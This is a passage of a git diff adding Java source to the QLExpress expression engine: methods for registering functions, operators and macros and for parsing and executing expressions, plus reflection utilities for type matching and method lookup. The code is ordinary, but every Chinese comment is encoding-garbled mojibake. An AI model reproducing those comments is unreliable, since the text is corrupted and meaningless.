public IExpressResourceLoader getExpressResourceLoader() { + return this.expressResourceLoader; + } + + /** + * 添加å®å®šä¹‰ + * 例如: macro å®å称 { abc(userInfo.userId);} + * + * @param macroName å®å称 + * @param express 表达å¼ï¼Œç¤ºä¾‹ï¼šabc(userInfo.userId); + * @throws Exception + */ + public void addMacro(String macroName, String express) throws Exception { + String macroExpress = "macro " + macroName + " {" + express + "}"; + this.loader.parseInstructionSet(GLOBAL_DEFINE_NAME, macroExpress); + } + + /** + * 装载表达å¼ï¼Œä½†ä¸æ‰§è¡Œï¼Œä¾‹å¦‚一些å®å®šä¹‰ï¼Œæˆ–者自定义函数 + * + * @param expressName + * @param express + * @throws Exception + */ + public void loadMultiExpress(String expressName, String express) throws Exception { + if (expressName == null || expressName.trim().length() == 0) { + expressName = GLOBAL_DEFINE_NAME; + } + this.loader.parseInstructionSet(expressName, express); + } + + /** + * 装载文件中定义的Express + * + * @param expressName + * @throws Exception + */ + public void loadExpress(String expressName) throws Exception { + this.loader.loadExpress(expressName); + } + + /** + * 添加函数定义 + * + * @param name 函数å称 + * @param op 对应的æ“作实现类 + */ + public void addFunction(String name, OperatorBase op) { + this.operatorManager.addOperator(name, op); + this.manager.addFunctionName(name); + } + + /** + * 添加函数定义扩展类的方法 + * + * @param name + * @param bindingClass + * @param op + */ + public void addFunctionAndClassMethod(String name, Class bindingClass, OperatorBase op) { + this.addFunction(name, op); + this.addClassMethod(name, bindingClass, op); + } + + /** + * 添加类的方法 + * + * @param field + * @param bindingClass + * @param op + */ + public void addClassField(String field, Class bindingClass, Operator op) { + this.addClassField(field, bindingClass, Object.class, op); + } + + /** + * 添加类的方法 + * + * @param field + * @param bindingClass + * @param returnType + * @param op + */ + public void addClassField(String field, Class bindingClass, Class returnType, Operator op) { + if (this.appendingClassFieldManager == null) { + this.appendingClassFieldManager = new AppendingClassFieldManager(); + } + this.appendingClassFieldManager.addAppendingField(field, bindingClass, returnType, op); + } + + /** + * 添加类的方法 + * + * @param name + * @param bindingClass + * @param op + */ + public void addClassMethod(String name, Class bindingClass, OperatorBase op) { + if (this.appendingClassMethodManager == null) { + this.appendingClassMethodManager = new AppendingClassMethodManager(); + } + this.appendingClassMethodManager.addAppendingMethod(name, bindingClass, op); + } + + /** + * 获å–函数定义,通过函数定义å¯ä»¥æ‹¿åˆ°å‚æ•°çš„è¯´æ˜Žä¿¡æ¯ + * + * @param name 函数å称 + * @return + */ + public OperatorBase getFunction(String name) { + return this.operatorManager.getOperator(name); + } + + /** + * 添加一个类的函数定义,例如:Math.abs(double) 映射为表达å¼ä¸­çš„ "å–ç»å¯¹å€¼(-5.0)" + * + * @param name 函数å称 + * @param className ç±»å称 + * @param functionName 类中的方法å称 + * @param parameterClassTypes 方法的å‚数类型å称 + * @param errorInfo 如果函数执行的结果是false,需è¦è¾“å‡ºçš„é”™è¯¯ä¿¡æ¯ + * @throws Exception + */ + public void addFunctionOfClassMethod(String name, String className, String functionName, + Class[] parameterClassTypes, String errorInfo) throws Exception { + OperatorSelfDefineClassFunction operatorSelfDefineClassFunction = new OperatorSelfDefineClassFunction(name, + className, functionName, parameterClassTypes, null, null, errorInfo); + this.addFunction(name, operatorSelfDefineClassFunction); + } + + /** + * 添加一个类的函数定义,例如:Math.abs(double) 映射为表达å¼ä¸­çš„ "å–ç»å¯¹å€¼(-5.0)" + * + * @param name 函数å称 + * @param clazz ç±» + * @param functionName 类中的方法å称 + * @param parameterClassTypes 方法的å‚数类型å称 + * @param errorInfo 如果函数执行的结果是false,需è¦è¾“å‡ºçš„é”™è¯¯ä¿¡æ¯ + * @throws Exception + */ + public void addFunctionOfClassMethod(String name, Class clazz, String functionName, + Class[] parameterClassTypes, String errorInfo) throws Exception { + OperatorSelfDefineClassFunction operatorSelfDefineClassFunction = new OperatorSelfDefineClassFunction(name, + clazz, functionName, parameterClassTypes, null, null, errorInfo); + this.addFunction(name, operatorSelfDefineClassFunction); + } + + /** + * 添加一个类的函数定义,例如:Math.abs(double) 映射为表达å¼ä¸­çš„ "å–ç»å¯¹å€¼(-5.0)" + * + * @param name 函数å称 + * @param className ç±»å称 + * @param functionName 类中的方法å称 + * @param parameterClassTypes 方法的å‚数类型å称 + * @param parameterDesc 方法的å‚数说明 + * @param parameterAnnotation 方法的å‚数注解 + * @param errorInfo 如果函数执行的结果是false,需è¦è¾“å‡ºçš„é”™è¯¯ä¿¡æ¯ + * @throws Exception + */ + public void addFunctionOfClassMethod(String name, String className, String functionName, + Class[] parameterClassTypes, String[] parameterDesc, String[] parameterAnnotation, String errorInfo) + throws Exception { + OperatorSelfDefineClassFunction operatorSelfDefineClassFunction = new OperatorSelfDefineClassFunction(name, + className, functionName, parameterClassTypes, parameterDesc, parameterAnnotation, errorInfo); + this.addFunction(name, operatorSelfDefineClassFunction); + } + + /** + * 添加一个类的函数定义,例如:Math.abs(double) 映射为表达å¼ä¸­çš„ "å–ç»å¯¹å€¼(-5.0)" + * + * @param name 函数å称 + * @param className ç±»å称 + * @param functionName 类中的方法å称 + * @param parameterTypes 方法的å‚数类型å称 + * @param errorInfo 如果函数执行的结果是false,需è¦è¾“å‡ºçš„é”™è¯¯ä¿¡æ¯ + * @throws Exception + */ + public void addFunctionOfClassMethod(String name, String className, String functionName, String[] parameterTypes, + String errorInfo) throws Exception { + OperatorSelfDefineClassFunction operatorSelfDefineClassFunction = new OperatorSelfDefineClassFunction(name, + className, functionName, parameterTypes, null, null, errorInfo); + this.addFunction(name, operatorSelfDefineClassFunction); + } + + /** + * 添加一个类的函数定义,例如:Math.abs(double) 映射为表达å¼ä¸­çš„ "å–ç»å¯¹å€¼(-5.0)" + * + * @param name 函数å称 + * @param className ç±»å称 + * @param functionName 类中的方法å称 + * @param parameterTypes 方法的å‚数类型å称 + * @param parameterDesc 方法的å‚数说明 + * @param parameterAnnotation 方法的å‚数注解 + * @param errorInfo 如果函数执行的结果是false,需è¦è¾“å‡ºçš„é”™è¯¯ä¿¡æ¯ + * @throws Exception + */ + public void addFunctionOfClassMethod(String name, String className, String functionName, String[] parameterTypes, + String[] parameterDesc, String[] parameterAnnotation, String errorInfo) throws Exception { + OperatorSelfDefineClassFunction operatorSelfDefineClassFunction = new OperatorSelfDefineClassFunction(name, + className, functionName, parameterTypes, parameterDesc, parameterAnnotation, errorInfo); + this.addFunction(name, operatorSelfDefineClassFunction); + } + + /** + * 用于将一个用户自己定义的对象(例如Spring对象)方法转æ¢ä¸ºä¸€ä¸ªè¡¨è¾¾å¼è®¡ç®—的函数 + * + * @param name + * @param serviceObject + * @param functionName + * @param parameterClassTypes + * @param errorInfo + * @throws Exception + */ + public void addFunctionOfServiceMethod(String name, Object serviceObject, String functionName, + Class[] parameterClassTypes, String errorInfo) throws Exception { + OperatorSelfDefineServiceFunction operatorSelfDefineServiceFunction = new OperatorSelfDefineServiceFunction( + name, serviceObject, functionName, parameterClassTypes, null, null, errorInfo); + this.addFunction(name, operatorSelfDefineServiceFunction); + } + + /** + * 用于将一个用户自己定义的对象(例如Spring对象)方法转æ¢ä¸ºä¸€ä¸ªè¡¨è¾¾å¼è®¡ç®—的函数 + * + * @param name + * @param serviceObject + * @param functionName + * @param parameterClassTypes + * @param parameterDesc 方法的å‚数说明 + * @param parameterAnnotation 方法的å‚数注解 + * @param errorInfo + * @throws Exception + */ + public void addFunctionOfServiceMethod(String name, Object serviceObject, String functionName, + Class[] parameterClassTypes, String[] parameterDesc, String[] parameterAnnotation, String errorInfo) + throws Exception { + OperatorSelfDefineServiceFunction operatorSelfDefineServiceFunction = new OperatorSelfDefineServiceFunction( + name, serviceObject, functionName, parameterClassTypes, parameterDesc, parameterAnnotation, errorInfo); + this.addFunction(name, operatorSelfDefineServiceFunction); + } + + /** + * 用于将一个用户自己定义的对象(例如Spring对象)方法转æ¢ä¸ºä¸€ä¸ªè¡¨è¾¾å¼è®¡ç®—的函数 + * + * @param name + * @param serviceObject + * @param functionName + * @param parameterTypes + * @param errorInfo + * @throws Exception + */ + public void addFunctionOfServiceMethod(String name, Object serviceObject, String functionName, + String[] parameterTypes, String errorInfo) throws Exception { + OperatorSelfDefineServiceFunction operatorSelfDefineServiceFunction = new OperatorSelfDefineServiceFunction( + name, serviceObject, functionName, parameterTypes, null, null, errorInfo); + this.addFunction(name, operatorSelfDefineServiceFunction); + } + + public void addFunctionOfServiceMethod(String name, Object serviceObject, String functionName, + String[] parameterTypes, String[] parameterDesc, String[] parameterAnnotation, String errorInfo) + throws Exception { + OperatorSelfDefineServiceFunction operatorSelfDefineServiceFunction = new OperatorSelfDefineServiceFunction( + name, serviceObject, functionName, parameterTypes, parameterDesc, parameterAnnotation, errorInfo); + this.addFunction(name, operatorSelfDefineServiceFunction); + } + + /** + * 添加æ“作符å·ï¼Œæ­¤æ“作符å·çš„优先级与 "*"相åŒï¼Œè¯­æ³•å½¢å¼ä¹Ÿæ˜¯ data name data + * + * @param name + * @param operator + * @throws Exception + */ + public void addOperator(String name, Operator operator) throws Exception { + this.addOperator(name, "*", operator); + } + + /** + * 添加æ“作符å·ï¼Œæ­¤æ“作符å·ä¸Žç»™å®šçš„å‚ç…§æ“作符å·åœ¨ä¼˜å…ˆçº§åˆ«å’Œè¯­æ³•å½¢å¼ä¸Šä¸€è‡´ + * + * @param name æ“作符å·å称 + * @param refOperatorName å‚照的æ“作符å·ï¼Œä¾‹å¦‚ "+","--"ç­‰ + * @param operator + * @throws Exception + */ + public void addOperator(String name, String refOperatorName, Operator operator) throws Exception { + this.manager.addOperatorWithLevelOfReference(name, refOperatorName); + this.operatorManager.addOperator(name, operator); + } + + /** + * 添加æ“作符和关键字的别å,åŒæ—¶å¯¹æ“作符å¯ä»¥æŒ‡å®šé”™è¯¯ä¿¡æ¯ã€‚ + * 例如:addOperatorWithAlias("加","+",null) + * + * @param keyWordName + * @param realKeyWordName + * @param errorInfo + * @throws Exception + */ + public void addOperatorWithAlias(String keyWordName, String realKeyWordName, String errorInfo) throws Exception { + if (errorInfo != null && errorInfo.trim().length() == 0) { + errorInfo = null; + } + //添加函数别å + if (this.manager.isFunction(realKeyWordName)) { + this.manager.addFunctionName(keyWordName); + this.operatorManager.addOperatorWithAlias(keyWordName, realKeyWordName, errorInfo); + return; + } + NodeType realNodeType = this.manager.findNodeType(realKeyWordName); + if (realNodeType == null) { + throw new QLException("关键字:" + realKeyWordName + "ä¸å­˜åœ¨"); + } + boolean isExist = this.operatorManager.isExistOperator(realNodeType.getName()); + if (!isExist && errorInfo != null) { + throw new QLException( + "关键字:" + realKeyWordName + "是通过指令æ¥å®žçŽ°çš„,ä¸èƒ½è®¾ç½®é”™è¯¯çš„æ示信æ¯ï¼ŒerrorInfo 必须是 null"); + } + if (!isExist || errorInfo == null) { + //ä¸éœ€è¦æ–°å¢žæ“作符å·ï¼Œåªéœ€è¦å»ºç«‹ä¸€ä¸ªå…³é”®å­å³å¯ + this.manager.addOperatorWithRealNodeType(keyWordName, realNodeType.getName()); + } else { + this.manager.addOperatorWithLevelOfReference(keyWordName, realNodeType.getName()); + this.operatorManager.addOperatorWithAlias(keyWordName, realNodeType.getName(), errorInfo); + } + } + + /** + * 替æ¢æ“ä½œç¬¦å¤„ç† + * + * @param name + */ + public OperatorBase replaceOperator(String name, OperatorBase op) { + return this.operatorManager.replaceOperator(name, op); + } + + public ExpressPackage getRootExpressPackage() { + return this.rootExpressPackage; + } + + /** + * 清除缓存 + */ + public void clearExpressCache() { + expressInstructionSetCache.clear(); + } + + /** + * æ ¹æ®è¡¨è¾¾å¼çš„å称进行执行 + * + * @param name + * @param context + * @param errorList + * @param isTrace + * @param isCatchException + * @return + * @throws Exception + */ + public Object executeByExpressName(String name, IExpressContext context, List errorList, + boolean isTrace, boolean isCatchException) throws Exception { + return InstructionSetRunner.executeOuter(this, this.loader.getInstructionSet(name), this.loader, context, + errorList, isTrace, isCatchException, false); + } + + /** + * 执行指令集 + * + * @param instructionSet + * @param context + * @param errorList + * @param isTrace + * @param isCatchException + * @return + * @throws Exception + */ + public Object execute(InstructionSet instructionSet, IExpressContext context, + List errorList, boolean isTrace, boolean isCatchException) throws Exception { + return executeReentrant(instructionSet, context, errorList, isTrace, isCatchException); + } + + /** + * 执行一段文本 + * + * @param expressString 程åºæ–‡æœ¬ + * @param context 执行上下文 + * @param errorList 输出的错误信æ¯List + * @param isCache 是å¦ä½¿ç”¨Cache中的指令集 + * @param isTrace 是å¦è¾“å‡ºè¯¦ç»†çš„æ‰§è¡ŒæŒ‡ä»¤ä¿¡æ¯ + * @param timeoutMillis 超时毫秒时间 + * @return + * @throws Exception + */ + public Object execute(String expressString, IExpressContext context, List errorList, + boolean isCache, boolean isTrace, long timeoutMillis) throws Exception { + //设置超时毫秒时间 + QLExpressTimer.setTimer(timeoutMillis); + try { + return this.execute(expressString, context, errorList, isCache, isTrace); + } finally { + QLExpressTimer.reset(); + } + } + + /** + * 执行一段文本 + * + * @param expressString 程åºæ–‡æœ¬ + * @param context 执行上下文 + * @param errorList 输出的错误信æ¯List + * @param isCache 是å¦ä½¿ç”¨Cache中的指令集 + * @param isTrace 是å¦è¾“å‡ºè¯¦ç»†çš„æ‰§è¡ŒæŒ‡ä»¤ä¿¡æ¯ + * @return + * @throws Exception + */ + public Object execute(String expressString, IExpressContext context, List errorList, + boolean isCache, boolean isTrace) throws Exception { + InstructionSet parseResult; + if (isCache) { + parseResult = getInstructionSetFromLocalCache(expressString); + } else { + parseResult = this.parseInstructionSet(expressString); + } + return executeReentrant(parseResult, context, errorList, isTrace, false); + } + + private Object executeReentrant(InstructionSet sets, IExpressContext iExpressContext, + List errorList, boolean isTrace, boolean isCatchException) throws Exception { + try { + int reentrantCount = threadReentrantCount.get() + 1; + threadReentrantCount.set(reentrantCount); + + return reentrantCount > 1 ? + // 线程é‡å…¥ + InstructionSetRunner.execute(this, sets, this.loader, iExpressContext, errorList, isTrace, + isCatchException, true, false) : + InstructionSetRunner.executeOuter(this, sets, this.loader, iExpressContext, errorList, isTrace, + isCatchException, false); + } finally { + threadReentrantCount.set(threadReentrantCount.get() - 1); + } + } + + /** + * 解æžä¸€æ®µæ–‡æœ¬ï¼Œç”ŸæˆæŒ‡ä»¤é›†åˆ + * + * @param text + * @return + * @throws Exception + */ + public InstructionSet parseInstructionSet(String text) throws Exception { + try { + Map selfDefineClass = new HashMap<>(); + for (ExportItem item : this.loader.getExportInfo()) { + if (item.getType().equals(InstructionSet.TYPE_CLASS)) { + selfDefineClass.put(item.getName(), item.getName()); + } + } + + ExpressNode root = this.parse.parse(this.rootExpressPackage, text, isTrace, selfDefineClass); + InstructionSet result = createInstructionSet(root, "main"); + if (this.isTrace) { + System.out.println(result); + } + return result; + } catch (QLCompileException e) { + throw e; + } catch (Exception e) { + throw new QLCompileException("编译异常:\n" + text, e); + } + } + + /** + * è¾“å‡ºå…¨å±€å®šä¹‰ä¿¡æ¯ + * + * @return + */ + public ExportItem[] getExportInfo() { + return this.loader.getExportInfo(); + } + + /** + * 优先从本地指令集缓存获å–指令集,没有的è¯ç”Ÿæˆå¹¶ä¸”缓存在本地 + * + * @param expressString + * @return + * @throws Exception + */ + public InstructionSet getInstructionSetFromLocalCache(String expressString) throws Exception { + Future futureTask = expressInstructionSetCache.get(expressString); + if (futureTask == null) { + FutureTask parseTask = new FutureTask<>(() -> this.parseInstructionSet(expressString)); + futureTask = expressInstructionSetCache.putIfAbsent(expressString, parseTask); + if (futureTask == null) { + futureTask = parseTask; + parseTask.run(); + } + } + try { + return futureTask.get(); + } catch (Exception e) { + Throwable originThrow = e.getCause(); + if (!(originThrow instanceof Exception)) { + throw e; + } + throw (Exception) originThrow; + } + } + + public InstructionSet createInstructionSet(ExpressNode root, String type) throws Exception { + InstructionSet result = new InstructionSet(type); + createInstructionSet(root, result); + return result; + } + + public void createInstructionSet(ExpressNode root, InstructionSet result) throws Exception { + Stack forStack = new Stack<>(); + createInstructionSetPrivate(result, forStack, root, true); + if (!forStack.isEmpty()) { + throw new QLCompileException("For处ç†é”™è¯¯"); + } + } + + public boolean createInstructionSetPrivate(InstructionSet result, Stack forStack, + ExpressNode node, boolean isRoot) throws Exception { + InstructionFactory factory = InstructionFactory.getInstructionFactory(node.getInstructionFactory()); + return factory.createInstruction(this, result, forStack, node, isRoot); + } + + /** + * 获å–一个表达å¼éœ€è¦çš„外部å˜é‡å称列表 + * + * @param express + * @return + * @throws Exception + */ + public String[] getOutVarNames(String express) throws Exception { + return this.parseInstructionSet(express).getOutAttrNames(); + } + + public String[] getOutFunctionNames(String express) throws Exception { + return this.parseInstructionSet(express).getOutFunctionNames(); + } + + public boolean isShortCircuit() { + return isShortCircuit; + } + + public void setShortCircuit(boolean isShortCircuit) { + this.isShortCircuit = isShortCircuit; + } + + /** + * 是å¦å¿½ç•¥charset类型的数æ®ï¼Œè€Œè¯†åˆ«ä¸ºstring,比如'a' -》 "a" + * 默认为ä¸å¿½ç•¥ï¼Œæ­£å¸¸è¯†åˆ«ä¸ºString + */ + public boolean isIgnoreConstChar() { + return this.parse.isIgnoreConstChar(); + } + + public void setIgnoreConstChar(boolean ignoreConstChar) { + this.parse.setIgnoreConstChar(ignoreConstChar); + } + + /** + * æ供简答的语法检查,ä¿è¯å¯ä»¥åœ¨è¿è¡ŒæœŸæœ¬åœ°çŽ¯å¢ƒç¼–译æˆæŒ‡ä»¤ + * + * @param text + * @return + */ + public boolean checkSyntax(String text) { + return checkSyntax(text, false, null); + } + + /** + * æä¾›å¤æ‚的语法检查,(比如检查自定义的javaç±»),ä¸ä¿è¯è¿è¡ŒæœŸåœ¨æœ¬åœ°çŽ¯å¢ƒå¯ä»¥ç¼–译æˆæŒ‡ä»¤ + * + * @param text + * @param mockRemoteJavaClass + * @param remoteJavaClassNames + * @return + */ + public boolean checkSyntax(String text, boolean mockRemoteJavaClass, List remoteJavaClassNames) { + try { + Map selfDefineClass = new HashMap<>(); + for (ExportItem item : this.loader.getExportInfo()) { + if (item.getType().equals(InstructionSet.TYPE_CLASS)) { + selfDefineClass.put(item.getName(), item.getName()); + } + } + Word[] words = this.parse.splitWords(text, isTrace, selfDefineClass); + ExpressNode root = this.parse.parse(this.rootExpressPackage, words, text, isTrace, selfDefineClass, + mockRemoteJavaClass); + InstructionSet result = createInstructionSet(root, "main"); + if (this.isTrace) { + System.out.println(result); + } + if (mockRemoteJavaClass && remoteJavaClassNames != null) { + remoteJavaClassNames.addAll(Arrays.asList(result.getVirClasses())); + } + return true; + } catch (Exception e) { + return false; + } + } +} diff --git a/src/com/ql/util/express/ExpressUtil.java b/src/com/ql/util/express/ExpressUtil.java new file mode 100644 index 00000000..c783d34e --- /dev/null +++ b/src/com/ql/util/express/ExpressUtil.java @@ -0,0 +1,757 @@ +package com.ql.util.express; + +import java.lang.reflect.Array; +import java.lang.reflect.Constructor; +import java.lang.reflect.Field; +import java.lang.reflect.Method; +import java.lang.reflect.Modifier; +import java.lang.reflect.Proxy; +import java.math.BigDecimal; +import java.sql.Date; +import java.sql.Time; +import java.sql.Timestamp; +import java.util.ArrayList; +import java.util.List; +import java.util.Map; +import java.util.concurrent.ConcurrentHashMap; +import java.util.regex.Matcher; +import java.util.regex.Pattern; + +import com.ql.util.express.annotation.QLAlias; +import com.ql.util.express.config.QLExpressRunStrategy; +import com.ql.util.express.exception.QLException; +import com.ql.util.express.util.QLAliasUtils; + +/** + * 表达å¼å·¥å…·ç±» + * + * @author qhlhl2010@gmail.com + */ +@SuppressWarnings("unchecked") +public class ExpressUtil { + private static final Pattern PATTERN = Pattern.compile("\\$\\d+"); + + public static final String DT_STRING = "String"; + public static final String DT_SHORT = "Short"; + public static final String DT_INTEGER = "Integer"; + public static final String DT_LONG = "Long"; + public static final String DT_DOUBLE = "Double"; + public static final String DT_FLOAT = "Float"; + public static final String DT_BYTE = "Byte"; + public static final String DT_CHAR = "Char"; + public static final String DT_BOOLEAN = "Boolean"; + public static final String DT_DATE = "Date"; + public static final String DT_TIME = "Time"; + public static final String DT_DATETIME = "DateTime"; + public static final String DT_OBJECT = "Object"; + + public static final String DT_short = "short"; + public static final String DT_int = "int"; + public static final String DT_long = "long"; + public static final String DT_double = "double"; + public static final String DT_float = "float"; + public static final String DT_byte = "byte"; + public static final String DT_char = "char"; + public static final String DT_boolean = "boolean"; + + private static final Map METHOD_CACHE = new ConcurrentHashMap<>(); + + private static final Class[][] CLASS_MATCHES = new Class[][] { + //原始数æ®ç±»åž‹ + {BigDecimal.class, double.class}, {BigDecimal.class, float.class}, {BigDecimal.class, long.class}, + {BigDecimal.class, int.class}, {BigDecimal.class, short.class}, {BigDecimal.class, byte.class}, + {double.class, float.class}, {double.class, long.class}, {double.class, int.class}, {double.class, short.class}, + {double.class, byte.class}, {double.class, BigDecimal.class}, + {float.class, long.class}, {float.class, int.class}, {float.class, short.class}, {float.class, byte.class}, + {float.class, BigDecimal.class}, + {long.class, int.class}, {long.class, short.class}, {long.class, byte.class}, + {int.class, short.class}, {int.class, byte.class}, + {short.class, byte.class}, + //--------- + {char.class, Character.class}, {Character.class, char.class}, + {boolean.class, Boolean.class}, {Boolean.class, boolean.class} + }; + + /** + * 一个接å£æ˜¯å¦å‡½æ•°å¼æŽ¥å£çš„缓存 + */ + private static final Map, Boolean> IS_FUNCTION_INTERFACE_CACHE = new ConcurrentHashMap<>(); + + private ExpressUtil() { + throw new IllegalStateException("Utility class"); + } + + public static Class getSimpleDataType(Class clazz) { + if (!clazz.isPrimitive()) { + return clazz; + } + if (Integer.class.equals(clazz)) { + return Integer.TYPE; + } + if (Short.class.equals(clazz)) { + return Short.TYPE; + } + if (Long.class.equals(clazz)) { + return Long.TYPE; + } + if (Double.class.equals(clazz)) { + return Double.TYPE; + } + if (Float.class.equals(clazz)) { + return Float.TYPE; + } + if (Byte.class.equals(clazz)) { + return Byte.TYPE; + } + if (Character.class.equals(clazz)) { + return Character.TYPE; + } + if (Boolean.class.equals(clazz)) { + return Boolean.TYPE; + } + return clazz; + } + + public static boolean isAssignable(Class target, Class source) { + if (target == source) { + return true; + } + if (target.isArray() && source.isArray()) { + return isAssignable(target.getComponentType(), source.getComponentType()); + } + return isAssignablePrivate(target, source); + } + + public static boolean isAssignablePrivate(Class target, Class source) { + if (target == source) { + return true; + } + + if (target == null) { + return false; + } + + //nullè½¬æ¢ + if (source == null) { + return !target.isPrimitive(); + } + + if (target.isAssignableFrom(source)) { + return true; + } + if (source.isPrimitive() && target == Object.class) { + return true; + } + + if (!target.isPrimitive()) { + if (target == Byte.class) { + target = byte.class; + } else if (target == Short.class) { + target = short.class; + } else if (target == Integer.class) { + target = int.class; + } else if (target == Long.class) { + target = long.class; + } else if (target == Float.class) { + target = float.class; + } else if (target == Double.class) { + target = double.class; + } + } + if (!source.isPrimitive()) { + if (source == Byte.class) { + source = byte.class; + } else if (source == Short.class) { + source = short.class; + } else if (source == Integer.class) { + source = int.class; + } else if (source == Long.class) { + source = long.class; + } else if (source == Float.class) { + source = float.class; + } else if (source == Double.class) { + source = double.class; + } + } + // 转æ¢åŽéœ€è¦åœ¨åˆ¤æ–­ä¸€ä¸‹ + if (target == source) { + return true; + } + + // QLambda 与函数å¼æŽ¥å£ä¹‹é—´å…许互转 + if (source == QLambda.class && isFunctionInterface(target)) { + return true; + } + + for (Class[] classMatch : CLASS_MATCHES) { + if (target == classMatch[0] && source == classMatch[1]) { + return true; + } + } + + return false; + } + + public static boolean isAssignableOld(Class lhsType, Class rhsType) { + if (lhsType == null) { + return false; + } + if (rhsType == null) { + return !lhsType.isPrimitive(); + } + + if (lhsType.isPrimitive() && rhsType.isPrimitive()) { + if (lhsType == rhsType) { + return true; + } + + if ((rhsType == Byte.TYPE) && (lhsType == Short.TYPE || lhsType == Integer.TYPE || lhsType == Long.TYPE + || lhsType == Float.TYPE || lhsType == Double.TYPE)) { + return true; + } + + if ((rhsType == Short.TYPE) && (lhsType == Integer.TYPE || lhsType == Long.TYPE || lhsType == Float.TYPE + || lhsType == Double.TYPE)) { + return true; + } + + if ((rhsType == Character.TYPE) && (lhsType == Integer.TYPE || lhsType == Long.TYPE || lhsType == Float.TYPE + || lhsType == Double.TYPE)) { + return true; + } + + if ((rhsType == Integer.TYPE) && (lhsType == Long.TYPE || lhsType == Float.TYPE + || lhsType == Double.TYPE)) { + return true; + } + + if ((rhsType == Long.TYPE) && (lhsType == Float.TYPE || lhsType == Double.TYPE)) { + return true; + } + + return (rhsType == Float.TYPE) && (lhsType == Double.TYPE); + } else { + return lhsType.isAssignableFrom(rhsType); + } + } + + public static boolean isSignatureAssignable(Class[] from, Class[] to) { + for (int i = 0; i < from.length; i++) { + if (!isAssignable(to[i], from[i])) { + return false; + } + } + return true; + } + + public static int findMostSpecificSignature(Class[] idealMatch, + Class[][] candidates) { + Class[] bestMatch = null; + int bestMatchIndex = -1; + + // 先从基类开始查找 + for (int i = candidates.length - 1; i >= 0; i--) { + Class[] targetMatch = candidates[i]; + if (ExpressUtil.isSignatureAssignable(idealMatch, targetMatch) && ((bestMatch == null) + || ExpressUtil.isSignatureAssignable(targetMatch, bestMatch))) { + bestMatch = targetMatch; + bestMatchIndex = i; + } + } + + if (bestMatch != null) { + return bestMatchIndex; + } else { + return -1; + } + } + + public static String createCacheKey(Class baseClass, String methodName, Class[] types, boolean publicOnly, + boolean isStatic) { + StringBuilder builder = new StringBuilder(); + //builder.append(publicOnly).append("-").append(isStatic).append("-"); + builder.append(baseClass.getName()).append(".").append(methodName).append("."); + if (types == null) { + builder.append("null"); + } else { + for (int i = 0; i < types.length; i++) { + if (i > 0) { + builder.append(","); + } + if (types[i] == null) { + builder.append("null"); + } else { + builder.append(types[i].getName()); + } + } + } + //builder.append(")"); + return builder.toString(); + } + + public static Method findMethodWithCache(Class baseClass, String methodName, + Class[] types, boolean publicOnly, boolean isStatic) { + String key = createCacheKey(baseClass, methodName, types, publicOnly, isStatic); + Object result = METHOD_CACHE.get(key); + if (result == null) { + result = findMethod(baseClass, methodName, types, publicOnly, isStatic); + if (result == null) { + METHOD_CACHE.put(key, void.class); + } else { + ((Method)result).setAccessible(true); + METHOD_CACHE.put(key, result); + } + } else if (result == void.class) { + result = null; + } + return (Method)result; + } + + public static Method findMethod(Class baseClass, String methodName, Class[] types, boolean publicOnly, + boolean isStatic) { + List candidates = gatherMethodsRecursive(baseClass, methodName, types.length, publicOnly, isStatic, + null); + return findMostSpecificMethod(types, candidates.toArray(new Method[0])); + } + + public static Constructor findConstructorWithCache(Class baseClass, Class[] types) { + String key = createCacheKey(baseClass, "new", types, true, false); + Constructor result = (Constructor)METHOD_CACHE.get(key); + if (result == null) { + result = findConstructor(baseClass, types); + METHOD_CACHE.put(key, result); + } + return result; + } + + private static Constructor findConstructor(Class baseClass, Class[] types) { + Constructor[] constructors = baseClass.getConstructors(); + List> constructorList = new ArrayList<>(); + List[]> listClass = new ArrayList<>(); + for (Constructor constructor : constructors) { + if (constructor.getParameterTypes().length == types.length) { + listClass.add(constructor.getParameterTypes()); + constructorList.add(constructor); + } + } + + int match = findMostSpecificSignature(types, listClass + .toArray(new Class[0][])); + return match == -1 ? null : constructorList.get(match); + } + + public static Method findMostSpecificMethod(Class[] idealMatch, + Method[] methods) { + Class[][] candidateSigs = new Class[methods.length][]; + for (int i = 0; i < methods.length; i++) {candidateSigs[i] = methods[i].getParameterTypes();} + + int match = findMostSpecificSignature(idealMatch, candidateSigs); + return match == -1 ? null : methods[match]; + } + + private static List gatherMethodsRecursive(Class baseClass, String methodName, int numArgs, + boolean publicOnly, boolean isStatic, List candidates) { + if (candidates == null) { + candidates = new ArrayList<>(); + } + + addCandidates(baseClass.getDeclaredMethods(), methodName, numArgs, publicOnly, isStatic, candidates); + + Class[] interfaces = baseClass.getInterfaces(); + for (Class anInterface : interfaces) { + gatherMethodsRecursive(anInterface, methodName, numArgs, publicOnly, isStatic, candidates); + } + + Class superclass = baseClass.getSuperclass(); + if (superclass != null) { + gatherMethodsRecursive(superclass, methodName, numArgs, publicOnly, isStatic, candidates); + } + + return candidates; + } + + private static List addCandidates(Method[] methods, String methodName, + int numArgs, boolean publicOnly, boolean isStatic, List candidates) { + for (Method m : methods) { + if (m.getName().equals(methodName) + && (m.getParameterTypes().length == numArgs) + && (!publicOnly || isPublic(m) + && (!isStatic || isStatic(m)))) { + candidates.add(m); + } else if (m.isAnnotationPresent(QLAlias.class)) { + String[] values = m.getAnnotation(QLAlias.class).value(); + if (values.length > 0) { + for (String value : values) { + if (value.equals(methodName) && (m.getParameterTypes().length == numArgs) + && (!publicOnly || isPublic(m) + && (!isStatic || isStatic(m)))) {candidates.add(m);} + } + } + } + } + return candidates; + } + + public static boolean isPublic(Class c) { + return Modifier.isPublic(c.getModifiers()); + } + + public static boolean isPublic(Method m) { + return Modifier.isPublic(m.getModifiers()); + } + + public static boolean isStatic(Method m) { + return Modifier.isStatic(m.getModifiers()); + } + + public static Class getJavaClass(String type) { + int index = type.indexOf("[]"); + if (index < 0) { + return getJavaClassInner(type); + } + + StringBuilder arrayString = new StringBuilder(); + arrayString.append("["); + String baseType = type.substring(0, index); + while ((index = type.indexOf("[]", index + 2)) >= 0) { + arrayString.append("["); + } + Class baseClass = getJavaClassInner(baseType); + + try { + String baseName = ""; + if (!baseClass.isPrimitive()) { + return loadClass(arrayString + "L" + + baseClass.getName() + ";"); + } else { + if (baseClass.equals(boolean.class)) { + baseName = "Z"; + } else if (baseClass.equals(byte.class)) { + baseName = "B"; + } else if (baseClass.equals(char.class)) { + baseName = "C"; + } else if (baseClass.equals(double.class)) { + baseName = "D"; + } else if (baseClass.equals(float.class)) { + baseName = "F"; + } else if (baseClass.equals(int.class)) { + baseName = "I"; + } else if (baseClass.equals(long.class)) { + baseName = "J"; + } else if (baseClass.equals(short.class)) { + 